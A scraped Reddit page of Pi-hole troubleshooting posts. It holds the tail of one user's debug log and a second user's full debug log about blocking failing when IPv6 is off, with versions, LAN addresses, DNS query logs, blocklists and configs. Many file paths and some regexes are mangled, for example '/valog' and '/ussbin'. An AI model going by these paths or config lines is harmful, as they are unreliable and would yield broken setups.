0 prophet.heise.de 2020-10-19 09:26:44 2020-10-19 09:26:44 Added from Query Log
[95m*** [ DIAGNOSING ]:[0m Clients
[95m*** [ DIAGNOSING ]:[0m Adlists id enabled group_ids address date_added date_modified comment ---- ------- ------------ ---------------------------------------------------------------------------------------------------- ------------------- ------------------- -------------------------------------------------- 1 1 0 https://raw.githubusercontent.com/StevenBlack/hosts/mastehosts 2020-09-08 12:47:42 2020-09-08 12:47:42 Migrated from /etc/pihole/adlists.list 2 1 0 https://mirror1.malwaredomains.com/files/justdomains 2020-09-08 12:47:42 2020-09-08 12:47:42 Migrated from /etc/pihole/adlists.list 3 1 0 https://dbl.oisd.nl/ 2020-09-08 13:02:41 2020-09-08 13:02:41 https://oisd.nl/?p=inc
[95m*** [ DIAGNOSING ]:[0m contents of [96m/etc/pihole[0m
[32m-rw-r--r-- 1 root root 124 Oct 25 04:32 /etc/pihole/local.list[0m 192.168.178.202 raspberrypi fd00::3663:f580:d70d:f50d raspberrypi 192.168.178.202 pi.hole fd00::3663:f580:d70d:f50d pi.hole
[32m-rw-r--r-- 1 root root 234 Sep 8 12:47 /etc/pihole/logrotate[0m /valog/pihole.log { su root root daily copytruncate rotate 5 compress delaycompress notifempty nomail } /valog/pihole-FTL.log { su root root weekly copytruncate rotate 3 compress delaycompress notifempty nomail }
[32m-rw-rw-r-- 1 pihole root 15 Sep 8 12:47 /etc/pihole/pihole-FTL.conf[0m PRIVACYLEVEL=0
[95m*** [ DIAGNOSING ]:[0m contents of [96m/etc/dnsmasq.d[0m
[32m-rw-r--r-- 1 root root 1575 Sep 8 13:38 /etc/dnsmasq.d/01-pihole.conf[0m addn-hosts=/etc/pihole/local.list addn-hosts=/etc/pihole/custom.list localise-queries no-resolv cache-size=10000 log-queries log-facility=/valog/pihole.log local-ttl=2 log-async server=127.0.0.1 domain-needed bogus-priv dnssec trust-anchor=.,20326,8,2,E06D44B80B8F1D39A95C0B0D7C65D08458E880409BBC683457104237C7F8EC8D local-service rev-server=192.168.178.1/24,192.168.178.1 server=/fritz.box/192.168.178.1 server=/use-application-dns.net/
[95m*** [ DIAGNOSING ]:[0m contents of [96m/etc/lighttpd[0m
[32m-rw-r--r-- 1 root root 0 Sep 8 12:47 /etc/lighttpd/external.conf[0m
[32m-rw-r--r-- 1 root root 4066 Sep 8 12:47 /etc/lighttpd/lighttpd.conf[0m server.modules = ( "mod_access", "mod_accesslog", "mod_auth", "mod_expire", "mod_compress", "mod_redirect", "mod_setenv", "mod_rewrite" ) server.document-root = "/vawww/html" server.error-handler-404 = "/pihole/index.php" server.upload-dirs = ( "/vacache/lighttpd/uploads" ) server.errorlog = "/valog/lighttpd/error.log" server.pid-file = "/run/lighttpd.pid" server.username = "www-data" server.groupname = "www-data" server.port = 80 accesslog.filename = "/valog/lighttpd/access.log" accesslog.format = "%{%s}t%V%r%s%b" index-file.names = ( "index.php", "index.html", "index.lighttpd.html" ) url.access-deny = ( "~", ".inc", ".md", ".yml", ".ini" ) static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" ) compress.cache-dir = "/vacache/lighttpd/compress/" compress.filetype = ( "application/json", "application/vnd.ms-fontobject", "application/xml", "font/eot", "font/opentype", "font/otf", "font/ttf", "image/bmp", "image/svg+xml", "image/vnd.microsoft.icon", "image/x-icon", "text/css", "text/html", "text/javascript", "text/plain", "text/xml" ) mimetype.assign = ( ".ico" => "image/x-icon", ".jpeg" => "image/jpeg", ".jpg" => "image/jpeg", ".png" => "image/png", ".svg" => "image/svg+xml", ".css" => "text/css; charset=utf-8", ".html" => "text/html; charset=utf-8", ".js" => "text/javascript; charset=utf-8", ".json" => "application/json; charset=utf-8", ".map" => "application/json; charset=utf-8", ".txt" => "text/plain; charset=utf-8", ".eot" => "application/vnd.ms-fontobject", ".otf" => "font/otf", ".ttc" => "font/collection", ".ttf" => "font/ttf", ".woff" => "font/woff", ".woff2" => "font/woff2" ) include_shell "/usshare/lighttpd/use-ipv6.pl " + server.port include_shell "find /etc/lighttpd/conf-enabled -name '*.conf' -a ! -name 'letsencrypt.conf' -printf 'include "%p" ' 2>/dev/null" $HTTP["url"] =~ "/admin/" {
setenv.add-response-header = ( "X-Pi-hole" => "The Pi-hole Web interface is working!", "X-Frame-Options" => "DENY" ) $HTTP["url"] =~ ".(eototftt[cf]woff2?)$" {
setenv.add-response-header = ( "Access-Control-Allow-Origin" => "" ) } } $HTTP["url"] =~ "^/admin/.(.)" { url.access-deny = ("") } expire.url = ( "" => "access plus 0 seconds" ) include_shell "cat external.conf 2>/dev/null"
[95m*** [ DIAGNOSING ]:[0m contents of [96m/etc/cron.d[0m
[32m-rw-r--r-- 1 root root 1755 Sep 8 12:47 /etc/cron.d/pihole[0m 32 4 * * 7 root PATH="$PATH:/ussbin:/uslocal/bin/" pihole updateGravity >/valog/pihole_updateGravity.log cat /valog/pihole_updateGravity.log 00 00 * * * root PATH="$PATH:/ussbin:/uslocal/bin/" pihole flush once quiet u/reboot root /ussbin/logrotate /etc/pihole/logrotate */10 * * * * root PATH="$PATH:/ussbin:/uslocal/bin/" pihole updatechecker local 24 13 * * * root PATH="$PATH:/ussbin:/uslocal/bin/" pihole updatechecker remote u/reboot root PATH="$PATH:/ussbin:/uslocal/bin/" pihole updatechecker remote reboot
[95m*** [ DIAGNOSING ]:[0m contents of [96m/valog/lighttpd[0m
[32m-rw-r--r-- 1 www-data www-data 1473 Oct 25 08:30 /valog/lighttpd/error.log[0m 2020-10-25 00:00:01: (server.c.1759) logfiles cycled UID = 0 PID = 9393 2020-10-25 08:28:17: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: dns_get_record(): A temporary server error occurred. in /vawww/html/pihole/index.php on line 227 2020-10-25 08:28:17: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: array_key_exists() expects parameter 2 to be array, null given in /vawww/html/pihole/index.php on line 228 2020-10-25 08:28:29: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: dns_get_record(): A temporary server error occurred. in /vawww/html/pihole/index.php on line 227 2020-10-25 08:28:29: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: array_key_exists() expects parameter 2 to be array, null given in /vawww/html/pihole/index.php on line 228 2020-10-25 08:30:27: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: dns_get_record(): A temporary server error occurred. in /vawww/html/pihole/index.php on line 227 2020-10-25 08:30:27: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: array_key_exists() expects parameter 2 to be array, null given in /vawww/html/pihole/index.php on line 228 2020-10-25 08:30:40: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: dns_get_record(): A temporary server error occurred. in /vawww/html/pihole/index.php on line 227 2020-10-25 08:30:40: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: array_key_exists() expects parameter 2 to be array, null given in /vawww/html/pihole/index.php on line 228
[95m*** [ DIAGNOSING ]:[0m contents of [96m/valog[0m
[32m-rw-r--r-- 1 pihole pihole 188 Oct 25 04:32 /valog/pihole-FTL.log[0m [96m-----head of pihole-FTL.log------[0m [2020-10-25 00:07:30.396 704M] Resizing "/FTL-dns-cache" from 352256 to 356352 [2020-10-25 04:32:52.432 704M] Reloading DNS cache [2020-10-25 04:32:52.432 704M] Blocking status is enabled
[96m-----tail of pihole-FTL.log------[0m [2020-10-25 00:07:30.396 704M] Resizing "/FTL-dns-cache" from 352256 to 356352 [2020-10-25 04:32:52.432 704M] Reloading DNS cache [2020-10-25 04:32:52.432 704M] Blocking status is enabled
[95m*** [ DIAGNOSING ]:[0m contents of [96m/dev/shm[0m -rw------- 1 pihole pihole 323584 Oct 23 20:45 /dev/shm/FTL-clients -rw------- 1 pihole pihole 144 Oct 19 09:29 /dev/shm/FTL-counters -rw------- 1 pihole pihole 356352 Oct 25 00:07 /dev/shm/FTL-dns-cache -rw------- 1 pihole pihole 131072 Oct 21 07:26 /dev/shm/FTL-domains -rw------- 1 pihole pihole 28 Oct 25 02:59 /dev/shm/FTL-lock -rw------- 1 pihole pihole 77824 Oct 19 09:29 /dev/shm/FTL-overTime -rw------- 1 pihole pihole 4096 Oct 19 09:29 /dev/shm/FTL-per-client-regex -rw------- 1 pihole pihole 2293760 Oct 24 10:02 /dev/shm/FTL-queries -rw------- 1 pihole pihole 12 Oct 19 09:29 /dev/shm/FTL-settings -rw------- 1 pihole pihole 258048 Oct 24 20:52 /dev/shm/FTL-strings -rw------- 1 pihole pihole 20480 Oct 19 09:29 /dev/shm/FTL-upstreams
[95m*** [ DIAGNOSING ]:[0m Locale LANG=en_GB.UTF-8
[95m*** [ DIAGNOSING ]:[0m Pi-hole log [32m-rw-r--r-- 1 pihole pihole 538974 Oct 25 04:27 /valog/pihole.log[0m [96m-----head of pihole.log------[0m Oct 25 00:00:05 dnsmasq[704]: query[AAAA] e10.whatsapp.net from fd00::9820:c88c:730b:c90 Oct 25 00:00:05 dnsmasq[704]: forwarded e10.whatsapp.net to 127.0.0.1 Oct 25 00:00:05 dnsmasq[704]: validation result is INSECURE Oct 25 00:00:05 dnsmasq[704]: reply e10.whatsapp.net is NODATA-IPv6 Oct 25 00:00:05 dnsmasq[704]: query[A] e10.whatsapp.net from fd00::9820:c88c:730b:c90 Oct 25 00:00:05 dnsmasq[704]: forwarded e10.whatsapp.net to 127.0.0.1 Oct 25 00:00:05 dnsmasq[704]: dnssec-query[DS] whatsapp.net to 127.0.0.1 Oct 25 00:00:05 dnsmasq[704]: reply whatsapp.net is no DS Oct 25 00:00:05 dnsmasq[704]: validation result is INSECURE Oct 25 00:00:05 dnsmasq[704]: reply e10.whatsapp.net is 34.194.71.217 Oct 25 00:00:05 dnsmasq[704]: reply e10.whatsapp.net is 34.192.181.12 Oct 25 00:00:05 dnsmasq[704]: reply e10.whatsapp.net is 34.193.38.112 Oct 25 00:00:05 dnsmasq[704]: reply e10.whatsapp.net is 34.194.255.230 Oct 25 00:00:09 dnsmasq[704]: query[A] www.google.com from fd00::9820:c88c:730b:c90 Oct 25 00:00:09 dnsmasq[704]: forwarded www.google.com to 127.0.0.1 Oct 25 00:00:09 dnsmasq[704]: query[A] www.google.com from 192.168.178.62 Oct 25 00:00:09 dnsmasq[704]: forwarded www.google.com to 127.0.0.1 Oct 25 00:00:09 dnsmasq[704]: validation result is INSECURE Oct 25 00:00:09 dnsmasq[704]: reply www.google.com is 216.58.208.100 Oct 25 00:00:09 dnsmasq[704]: validation result is INSECURE

submitted by frieren1 to pihole [link] [comments]


2020.10.01 13:52 firemanjoe911 Odd issue - GF’s Pi-hole will not work or block if I turn off IPV6

I tried uploading the debug logs, but I got an error at the end of the logs. I’ll paste them here and I’m thinking of running -R to see if that helps resolve the issue, but it’s odd.
All wireless signals made it to the router; however, they wouldn’t reach the internet. All wired connections were unaffected.
Thoughts?
This process collects information from your Pi-hole, and optionally uploads it to a unique and random directory on tricorder.pi-hole.net.
The intent of this script is to allow users to self-diagnose their installations. This is accomplished by running tests against our software and providing the user with links to FAQ articles when a problem is detected. Since we are a small team and Pi-hole has been growing steadily, it is our hope that this will help us spend more time on development.
NOTE: All log files auto-delete after 48 hours and ONLY the Pi-hole developers can access your data via the given token. We have taken these extra steps to secure your data and will work to further reduce any personal information gathered.
*** [ INITIALIZING ] [i] 2020-09-30:22:39:27 debug log has been initialized.
*** [ INITIALIZING ] Sourcing setup variables [i] Sourcing /etc/pihole/setupVars.conf...
*** [ DIAGNOSING ]: Core version [i] Core: v5.1.2 (https://discourse.pi-hole.net/t/how-do-i-update-pi-hole/249) [i] Remotes: origin https://github.com/pi-hole/pi-hole.git (fetch) origin https://github.com/pi-hole/pi-hole.git (push) [i] Branch: master [i] Commit: v5.1.2-0-g6b536b7
*** [ DIAGNOSING ]: Web version [i] Web: v5.1.1 (https://discourse.pi-hole.net/t/how-do-i-update-pi-hole/249) [i] Remotes: origin https://github.com/pi-hole/AdminLTE.git (fetch) origin https://github.com/pi-hole/AdminLTE.git (push) [i] Branch: master [i] Commit: v5.1.1-0-ga03d1bd
*** [ DIAGNOSING ]: FTL version [✓] FTL: v5.2 (https://discourse.pi-hole.net/t/how-do-i-update-pi-hole/249)
*** [ DIAGNOSING ]: lighttpd version [i] 1.4.53
*** [ DIAGNOSING ]: php version [i] 7.3.19
*** [ DIAGNOSING ]: Operating system [✗] Distro: Raspbian [✗] Error: Raspbian is not a supported distro (https://docs.pi-hole.net/main/prerequisites/)
*** [ DIAGNOSING ]: SELinux [i] SELinux not detected
*** [ DIAGNOSING ]: Processor [✓] armv7l
*** [ DIAGNOSING ]: Networking [✓] IPv4 address(es) bound to the eth0 interface: 192.168.0.4/24 matches the IP found in /etc/pihole/setupVars.conf
[✓] IPv6 address(es) bound to the eth0 interface: 2607:fea8:f1df:ee9e:eae2:410e:4779:a5f5 does not match the IP found in /etc/pihole/setupVars.conf (https://discourse.pi-hole.net/t/use-ipv6-ula-addresses-for-pi-hole/2127) fd00:c47:3df2:75f2::188 does not match the IP found in /etc/pihole/setupVars.conf (https://discourse.pi-hole.net/t/use-ipv6-ula-addresses-for-pi-hole/2127) fd00:c47:3df2:75f2:3948:5aaa:1ff9:a071 matches the IP found in /etc/pihole/setupVars.conf fe80::eae1:e2e4:123:60bd does not match the IP found in /etc/pihole/setupVars.conf (https://discourse.pi-hole.net/t/use-ipv6-ula-addresses-for-pi-hole/2127)
^ Please note that you may have more than one IP address listed. As long as one of them is green, and it matches what is in /etc/pihole/setupVars.conf, there is no need for concern.
The link to the FAQ is for an issue that sometimes occurs when the IPv6 address changes, which is why we check for it.
[i] Default IPv4 gateway: 192.168.0.1 * Pinging 192.168.0.1... [✓] Gateway responded. [i] Default IPv6 gateway: fe80::e47:3dff:fef2:75f2 * Pinging fe80::e47:3dff:fef2:75f2... [✓] Gateway responded.
*** [ DIAGNOSING ]: Ports in use *:631 cupsd (IPv4) *:631 cupsd (IPv6) *:22 sshd (IPv4) *:22 sshd (IPv6) [80] is in use by lighttpd [80] is in use by lighttpd 127.0.0.1:5353 unbound (IPv4) *:445 smbd (IPv6) *:139 smbd (IPv6) *:445 smbd (IPv4) *:139 smbd (IPv4) [53] is in use by pihole-FTL [53] is in use by pihole-FTL [4711] is in use by pihole-FTL [4711] is in use by pihole-FTL
*** [ DIAGNOSING ]: Name resolution (IPv4) using a random blocked domain and a known ad-serving domain [✓] discoverfinancialservices.demdex.net is 0.0.0.0 via localhost (127.0.0.1) [✓] discoverfinancialservices.demdex.net is 0.0.0.0 via Pi-hole (192.168.0.4) [✓] doubleclick.com is 172.217.13.142 via a remote, public DNS server (8.8.8.8)
*** [ DIAGNOSING ]: Name resolution (IPv6) using a random blocked domain and a known ad-serving domain [✓] defmach.com is :: via localhost (::1) [✓] defmach.com is :: via Pi-hole (fd00:c47:3df2:75f2:3948:5aaa:1ff9:a071) [✓] doubleclick.com is 2607:f8b0:4020:806::200e via a remote, public DNS server (2001:4860:4860::8888)
*** [ DIAGNOSING ]: Pi-hole processes [✓] lighttpd daemon is active [✓] pihole-FTL daemon is active
*** [ DIAGNOSING ]: Setup variables CONDITIONAL_FORWARDING=false PIHOLE_INTERFACE=eth0 IPV4_ADDRESS=192.168.0.4/24 IPV6_ADDRESS=fd00:c47:3df2:75f2:3948:5aaa:1ff9:a071 QUERY_LOGGING=true INSTALL_WEB_SERVER=true INSTALL_WEB_INTERFACE=true LIGHTTPD_ENABLED=true DNSMASQ_LISTENING=local PIHOLE_DNS_1=127.0.0.1#5335 DNS_FQDN_REQUIRED=true DNS_BOGUS_PRIV=true DNSSEC=false REV_SERVER=false BLOCKING_ENABLED=true DHCP_ACTIVE=true DHCP_START=192.168.0.10 DHCP_END=192.168.0.251 DHCP_ROUTER=192.168.0.1 DHCP_LEASETIME=24 PIHOLE_DOMAIN=lan DHCP_IPv6=true DHCP_rapid_commit=false
*** [ DIAGNOSING ]: Dashboard and block page [✓] Block page X-Header: X-Pi-hole: A black hole for Internet advertisements. [✓] Web interface X-Header: X-Pi-hole: The Pi-hole Web interface is working!
*** [ DIAGNOSING ]: Gravity List and Database -rw-rw-r-- 1 pihole pihole 70725632 Sep 30 22:05 /etc/pihole/gravity.db
*** [ DIAGNOSING ]: Info table property value
version 12 updated 1601341837 gravity_count 1045492 Last gravity run finished at: Mon Sep 28 22:10:37 ADT 2020
----- First 10 Gravity Domains ----- localhost.localdomain n2019cov.000webhostapp.com webmail-who-int.000webhostapp.com 010sec.com 01mspmd5yalky8.com 0byv9mgbn0.com ns6.0pendns.org dns.0pengl.com ios.0pengl.com 0x4fc271.tk
*** [ DIAGNOSING ]: Groups id enabled name date_added date_modified description
0 1 Default 2020-05-30 22:43:32 2020-05-30 22:43:32 The default group
*** [ DIAGNOSING ]: Domainlist (0/1 = exact white-/blacklist, 2/3 = regex white-/blacklist) id type enabled group_ids domain date_added date_modified comment
1 0 1 0 api.mixpanel.com 2020-09-30 22:05:20 2020-09-30 22:05:20 Added from Query Log
*** [ DIAGNOSING ]: Clients
*** [ DIAGNOSING ]: Adlists id enabled group_ids address date_added date_modified comment
1 1 0 https://raw.githubusercontent.com/StevenBlack/hosts/mastehosts 2020-05-30 22:43:33 2020-05-30 22:43:33 Migrated from /etc/pihole/adlists.list 2 1 0 https://mirror1.malwaredomains.com/files/justdomains 2020-05-30 22:43:33 2020-05-30 22:43:33 Migrated from /etc/pihole/adlists.list 3 1 0 http://sysctl.org/cameleon/hosts 2020-05-30 22:43:33 2020-05-30 22:43:33 Migrated from /etc/pihole/adlists.list 4 1 0 https://s3.amazonaws.com/lists.disconnect.me/simple_tracking.txt 2020-05-30 22:43:33 2020-05-30 22:43:33 Migrated from /etc/pihole/adlists.list 5 1 0 https://s3.amazonaws.com/lists.disconnect.me/simple_ad.txt 2020-05-30 22:43:33 2020-05-30 22:43:33 Migrated from /etc/pihole/adlists.list 6 1 0 https://hosts-file.net/ad_servers.txt 2020-05-30 22:43:33 2020-05-30 22:43:33 Migrated from /etc/pihole/adlists.list 7 1 0 https://dbl.oisd.nl 2020-05-30 22:43:33 2020-05-30 22:43:33 Migrated from /etc/pihole/adlists.list
*** [ DIAGNOSING ]: contents of /etc/pihole
-rw-r--r-- 1 root root 142 Sep 28 22:10 /etc/pihole/local.list 192.168.0.4 raspberrypi fd00:c47:3df2:75f2:3948:5aaa:1ff9:a071 raspberrypi 192.168.0.4 pi.hole fd00:c47:3df2:75f2:3948:5aaa:1ff9:a071 pi.hole
-rw-r--r-- 1 root root 234 Aug 14 19:13 /etc/pihole/logrotate /valog/pihole.log { su root root daily copytruncate rotate 5 compress delaycompress notifempty nomail } /valog/pihole-FTL.log { su root root weekly copytruncate rotate 3 compress delaycompress notifempty nomail }
-rw-rw-r-- 1 pihole root 15 Aug 14 19:13 /etc/pihole/pihole-FTL.conf PRIVACYLEVEL=0
*** [ DIAGNOSING ]: contents of /etc/dnsmasq.d
-rw-r--r-- 1 root root 1526 Sep 30 22:16 /etc/dnsmasq.d/01-pihole.conf addn-hosts=/etc/pihole/local.list addn-hosts=/etc/pihole/custom.list localise-queries no-resolv cache-size=10000 log-queries log-facility=/valog/pihole.log local-ttl=2 log-async server=127.0.0.1 domain-needed bogus-priv local-service server=/use-application-dns.net/ dhcp-name-match=set:hostname-ignore,wpad dhcp-name-match=set:hostname-ignore,localhost dhcp-ignore-names=tag:hostname-ignore
-rw-r--r-- 1 root root 617 Sep 30 22:16 /etc/dnsmasq.d/02-pihole-dhcp.conf dhcp-authoritative dhcp-range=192.168.0.10,192.168.0.251,24h dhcp-option=option:router,192.168.0.1 dhcp-leasefile=/etc/pihole/dhcp.leases domain=lan dhcp-option=option6:dns-server,[::] dhcp-range=::100,::1ff,constructor:eth0,ra-names,slaac,24h ra-param=*,0,0
*** [ DIAGNOSING ]: contents of /etc/lighttpd
-rw-r--r-- 1 root root 0 Aug 14 19:13 /etc/lighttpd/external.conf
-rw-r--r-- 1 root root 4066 Aug 14 19:13 /etc/lighttpd/lighttpd.conf server.modules = ( "mod_access", "mod_accesslog", "mod_auth", "mod_expire", "mod_compress", "mod_redirect", "mod_setenv", "mod_rewrite" ) server.document-root = "/vawww/html" server.error-handler-404 = "/pihole/index.php" server.upload-dirs = ( "/vacache/lighttpd/uploads" ) server.errorlog = "/valog/lighttpd/error.log" server.pid-file = "/run/lighttpd.pid" server.username = "www-data" server.groupname = "www-data" server.port = 80 accesslog.filename = "/valog/lighttpd/access.log" accesslog.format = "%{%s}t%V%r%s%b" index-file.names = ( "index.php", "index.html", "index.lighttpd.html" ) url.access-deny = ( "~", ".inc", ".md", ".yml", ".ini" ) static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" ) compress.cache-dir = "/vacache/lighttpd/compress/" compress.filetype = ( "application/json", "application/vnd.ms-fontobject", "application/xml", "font/eot", "font/opentype", "font/otf", "font/ttf", "image/bmp", "image/svg+xml", "image/vnd.microsoft.icon", "image/x-icon", "text/css", "text/html", "text/javascript", "text/plain", "text/xml" ) mimetype.assign = ( ".ico" => "image/x-icon", ".jpeg" => "image/jpeg", ".jpg" => "image/jpeg", ".png" => "image/png", ".svg" => "image/svg+xml", ".css" => "text/css; charset=utf-8", ".html" => "text/html; charset=utf-8", ".js" => "text/javascript; charset=utf-8", ".json" => "application/json; charset=utf-8", ".map" => "application/json; charset=utf-8", ".txt" => "text/plain; charset=utf-8", ".eot" => "application/vnd.ms-fontobject", ".otf" => "font/otf", ".ttc" => "font/collection", ".ttf" => "font/ttf", ".woff" => "font/woff", ".woff2" => "font/woff2" ) include_shell "/usshare/lighttpd/use-ipv6.pl " + server.port include_shell "find /etc/lighttpd/conf-enabled -name '*.conf' -a ! -name 'letsencrypt.conf' -printf 'include \"%p\" ' 2>/dev/null" $HTTP["url"] =~ "/admin/" {
 setenv.add-response-header = ( "X-Pi-hole" => "The Pi-hole Web interface is working!", "X-Frame-Options" => "DENY" ) $HTTP["url"] =~ "\.(eototftt[cf]woff2?)$" { setenv.add-response-header = ( "Access-Control-Allow-Origin" => "*" ) } 
} $HTTP["url"] =~ "/admin/.(.*)" { url.access-deny = ("") } expire.url = ( "" => "access plus 0 seconds" ) include_shell "cat external.conf 2>/dev/null"
*** [ DIAGNOSING ]: contents of /etc/cron.d
-rw-r--r-- 1 root root 1755 Aug 14 19:13 /etc/cron.d/pihole 37 4 * * 7 root PATH="$PATH:/ussbin:/uslocal/bin/" pihole updateGravity >/valog/pihole_updateGravity.log cat /valog/pihole_updateGravity.log 00 00 * * * root PATH="$PATH:/ussbin:/uslocal/bin/" pihole flush once quiet @reboot root /ussbin/logrotate /etc/pihole/logrotate */10 * * * * root PATH="$PATH:/ussbin:/uslocal/bin/" pihole updatechecker local 26 19 * * * root PATH="$PATH:/ussbin:/uslocal/bin/" pihole updatechecker remote @reboot root PATH="$PATH:/ussbin:/uslocal/bin/" pihole updatechecker remote reboot
*** [ DIAGNOSING ]: contents of /valog/lighttpd
-rw-r--r-- 1 www-data www-data 1247 Sep 30 22:07 /valog/lighttpd/error.log 2020-09-27 00:00:02: (server.c.1759) logfiles cycled UID = 0 PID = 17250 2020-09-28 21:17:24: (server.c.1464) server started (lighttpd/1.4.53) 2020-09-28 21:17:24: (server.c.1493) WARNING: unknown config-key: alias.url (ignored) 2020-09-28 22:11:19: (mod_fastcgi.c.421) FastCGI-stderr: PHP Notice: Only variables should be passed by reference in /vawww/html/admin/scripts/vendoqrcode.php on line 77 2020-09-29 00:00:03: (server.c.1759) logfiles cycled UID = 0 PID = 3820 2020-09-30 21:09:33: (mod_fastcgi.c.421) FastCGI-stderr: PHP Warning: fopen(/etc/pihole/custom.list): failed to open stream: No such file or directory in /vawww/html/admin/scripts/pi-hole/php/func.php on line 101 2020-09-30 22:05:19: (mod_fastcgi.c.421) FastCGI-stderr: PHP Notice: Undefined index: type in /vawww/html/admin/scripts/pi-hole/php/groups.php on line 507 2020-09-30 22:06:19: (server.c.2059) server stopped by UID = 0 PID = 1 2020-09-30 22:06:44: (server.c.1464) server started (lighttpd/1.4.53) 2020-09-30 22:06:44: (server.c.1493) WARNING: unknown config-key: alias.url (ignored) 2020-09-30 22:07:21: (mod_fastcgi.c.421) FastCGI-stderr: PHP Notice: Undefined offset: 2 in /vawww/html/admin/scripts/pi-hole/php/update_checker.php on line 58
*** [ DIAGNOSING ]: contents of /valog
-rw-r--r-- 1 pihole pihole 12398 Sep 30 22:39 /valog/pihole-FTL.log -----head of pihole-FTL.log------ [2020-09-30 17:38:11.887 16669M] Resizing "/FTL-strings" from 8192 to 12288 [2020-09-30 21:09:18.887 16669M] Reloading DNS cache [2020-09-30 21:09:18.887 16669M] Blocking status is enabled [2020-09-30 21:09:18.916 16669M] INFO: No regex blacklist entries found [2020-09-30 21:09:18.917 16669M] INFO: No regex whitelist entries found [2020-09-30 21:09:18.932 16669M] Compiled 0 whitelist and 0 blacklist regex filters for 13 clients in 15.9 msec [2020-09-30 22:05:20.305 16669M] Received: Real-time signal 0 (34 -> 0) [2020-09-30 22:05:20.337 16669M] INFO: No regex blacklist entries found [2020-09-30 22:05:20.338 16669M] INFO: No regex whitelist entries found [2020-09-30 22:05:20.357 16669M] Compiled 0 whitelist and 0 blacklist regex filters for 17 clients in 20.6 msec [2020-09-30 22:05:43.908 16669M] Reloading DNS cache [2020-09-30 22:05:43.909 16669M] Blocking status is disabled [2020-09-30 22:05:43.941 16669M] INFO: No regex blacklist entries found [2020-09-30 22:05:43.942 16669M] INFO: No regex whitelist entries found [2020-09-30 22:05:43.964 16669M] Compiled 0 whitelist and 0 blacklist regex filters for 17 clients in 23.1 msec [2020-09-30 22:06:19.979 16669M] Shutting down... [2020-09-30 22:06:20.119 16669M] Finished final database update [2020-09-30 22:06:20.129 16669M] ########## FTL terminated after 9.883992e+04 s! ########## [2020-09-30 22:06:45.636 554M] Using log file /valog/pihole-FTL.log [2020-09-30 22:06:45.644 554M] ########## FTL started! ########## [2020-09-30 22:06:45.644 554M] FTL branch: master [2020-09-30 22:06:45.644 554M] FTL version: v5.2 [2020-09-30 22:06:45.644 554M] FTL commit: dbd4a69 [2020-09-30 22:06:45.644 554M] FTL date: 2020-08-09 22:09:43 +0100 [2020-09-30 22:06:45.644 554M] FTL user: pihole [2020-09-30 22:06:45.645 554M] Compiled for armhf (compiled on CI) using arm-linux-gnueabihf-gcc (Debian 6.3.0-18) 6.3.0 20170516 [2020-09-30 22:06:45.645 554M] Starting config file parsing (/etc/pihole/pihole-FTL.conf) [2020-09-30 22:06:45.645 554M] SOCKET_LISTENING: only local [2020-09-30 22:06:45.645 554M] AAAA_QUERY_ANALYSIS: Show AAAA queries [2020-09-30 22:06:45.646 554M] MAXDBDAYS: max age for stored queries is 365 days [2020-09-30 22:06:45.646 554M] RESOLVE_IPV6: Resolve IPv6 addresses [2020-09-30 22:06:45.647 554M] RESOLVE_IPV4: Resolve IPv4 addresses [2020-09-30 22:06:45.647 554M] DBINTERVAL: saving to DB file every minute [2020-09-30 22:06:45.647 554M] DBFILE: Using /etc/pihole/pihole-FTL.db [2020-09-30 22:06:45.647 554M] MAXLOGAGE: Importing up to 24.0 hours of log data
-----tail of pihole-FTL.log------ [2020-09-30 22:16:22.314 1460M] Database version is 7 [2020-09-30 22:16:22.315 1460M] Database successfully initialized [2020-09-30 22:16:22.317 1460M] New upstream server: 127.0.0.1 (0/1024) [2020-09-30 22:16:22.367 1460M] Resizing "/FTL-queries" from 229376 to 458752 [2020-09-30 22:16:22.416 1460M] Resizing "/FTL-queries" from 458752 to 688128 [2020-09-30 22:16:22.485 1460M] Resizing "/FTL-queries" from 688128 to 917504 [2020-09-30 22:16:22.557 1460M] Resizing "/FTL-queries" from 917504 to 1146880 [2020-09-30 22:16:22.559 1460M] Resizing "/FTL-strings" from 4096 to 8192 [2020-09-30 22:16:22.660 1460M] Resizing "/FTL-queries" from 1146880 to 1376256 [2020-09-30 22:16:22.762 1460M] Resizing "/FTL-queries" from 1376256 to 1605632 [2020-09-30 22:16:22.810 1460M] Resizing "/FTL-strings" from 8192 to 12288 [2020-09-30 22:16:22.837 1460M] Imported 27552 queries from the long-term database [2020-09-30 22:16:22.838 1460M] -> Total DNS queries: 27552 [2020-09-30 22:16:22.839 1460M] -> Cached DNS queries: 312 [2020-09-30 22:16:22.839 1460M] -> Forwarded DNS queries: 27140 [2020-09-30 22:16:22.839 1460M] -> Blocked DNS queries: 100 [2020-09-30 22:16:22.839 1460M] -> Unknown DNS queries: 0 [2020-09-30 22:16:22.839 1460M] -> Unique domains: 353 [2020-09-30 22:16:22.839 1460M] -> Unique clients: 12 [2020-09-30 22:16:22.839 1460M] -> Known forward destinations: 1 [2020-09-30 22:16:22.839 1460M] Successfully accessed setupVars.conf [2020-09-30 22:16:22.849 1462M] PID of FTL process: 1462 [2020-09-30 22:16:22.850 1462/T1463] Listening on port 4711 for incoming IPv4 telnet connections [2020-09-30 22:16:22.852 1462/T1465] Listening on Unix socket [2020-09-30 22:16:22.853 1462/T1464] Listening on port 4711 for incoming IPv6 telnet connections [2020-09-30 22:16:22.856 1462M] Reloading DNS cache [2020-09-30 22:16:22.857 1462M] Blocking status is enabled [2020-09-30 22:16:22.887 1462M] INFO: No regex blacklist entries found [2020-09-30 22:16:22.888 1462M] INFO: No regex whitelist entries found [2020-09-30 22:16:22.901 1462M] Compiled 0 whitelist and 0 blacklist regex filters for 12 clients in 15.6 msec [2020-09-30 22:20:01.028 1462M] Resizing "/FTL-queries" from 1605632 to 1835008 [2020-09-30 22:26:38.406 1462M] Resizing "/FTL-dns-cache" from 4096 to 8192 [2020-09-30 22:32:27.150 1462M] Resizing "/FTL-queries" from 1835008 to 2064384 [2020-09-30 22:39:00.442 1462/T1468] Resizing "/FTL-strings" from 12288 to 16384 [2020-09-30 22:39:18.533 1462M] Resizing 